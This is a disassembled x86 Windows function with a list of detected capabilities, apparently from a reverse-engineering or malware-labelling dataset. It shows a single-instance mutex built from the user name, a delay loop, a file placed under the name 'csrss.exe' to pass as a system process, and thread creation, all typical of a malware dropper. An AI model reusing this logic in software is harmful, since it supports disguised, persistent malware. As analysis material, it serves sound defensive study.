Function at 0x10001ae0
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Create thread
Get common file path
Get session user name
Resume thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10003578
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x548
push ebx
push esi
lea eax, [ebp - 0x40]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetLocalTime]
push eax
call edi
mov esi, dword [ebp - 0x34]
and esi, 0xffff
cmp esi, 0x36
jle 0x10001b20
sub esi, 0x37
jmp 0x10001b23
add esi, 4
lea ecx, [ebp - 0x40]
push ecx
call edi
mov edx, dword [ebp - 0x34]
and edx, 0xffff
cmp edx, esi
jne 0x10001b23
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x34c]
push eax
push ecx
mov dword [ebp - 0x1c], 0x104
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov edi, str.wequiort
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x34c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [ebp - 0x34c]
xor ebx, ebx
and ecx, 3
push eax
push ebx
rep movsb byte es:[edi], byte [esi]
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
cmp eax, ebx
je 0x10001ba7
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x10001ba7
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.100014a0
test eax, eax
je 0x10001bb7
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x80
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x143]
mov byte [ebp - 0x144], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [ebp - 0x144]
push ecx
push 0x104
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov edi, 0x10010544
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x144]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [ebp - 0x248], bl
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x40
lea edi, [ebp - 0x247]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.10003191
push eax
lea ecx, [ebp - 0x30]
call sub.MFC42.DLL_AFX_MAINTAIN_STATE2::AFX_MAINTAIN_STATE2
lea eax, [ebp - 0x248]
push 0x104
push eax
mov dword [ebp - 4], ebx
call sub.MFC42.DLL_AfxGetModuleState
mov ecx, dword [eax + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [ebp - 0x144]
lea eax, [ebp - 0x248]
mov dword [0x100107b0], edx
mov dword [0x100107b4], eax
mov dword [ebp - 0x28], ebx
lea eax, [0x10001c8a]
and eax, 0xfffff000
sub eax, 0x1000
cmp word [eax], 0x5a4d
jne 0x10001c8a
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 4], ebx
push ecx
call fcn.10001050
add esp, 4
lea edx, [ebp - 0x554]
push ebx
push 0x25
push edx
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea eax, [ebp - 0x554]
push 0x10010540
push eax
call dword [sym.imp.MSVCRT.dll_wcscat]
lea ecx, [ebp - 0x554]
push str.csrss.exe
push ecx
call fcn.100010c0
add esp, 0x10
lea edx, [ebp - 0x20]
push edx
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 4
push 0x100107b0
push 0x10001820
push ebx
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push 2
push eax
mov dword [ebp - 0x18], eax
call edi
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
lea ecx, [ebp - 0x24]
push ecx
push 4
push ebx
push 0x10001530
push ebx
push ebx
call esi
push 1
push eax
mov dword [ebp - 0x14], eax
call edi
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0xffffffffffffffff
lea eax, [ebp - 0x18]
push 1
push eax
push 2
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
mov edx, dword [ebp - 0x14]
push edx
call esi
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x30]
pop edi
pop esi
mov dword [eax + 4], ecx
mov ecx, dword [ebp - 0xc]
xor eax, eax
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret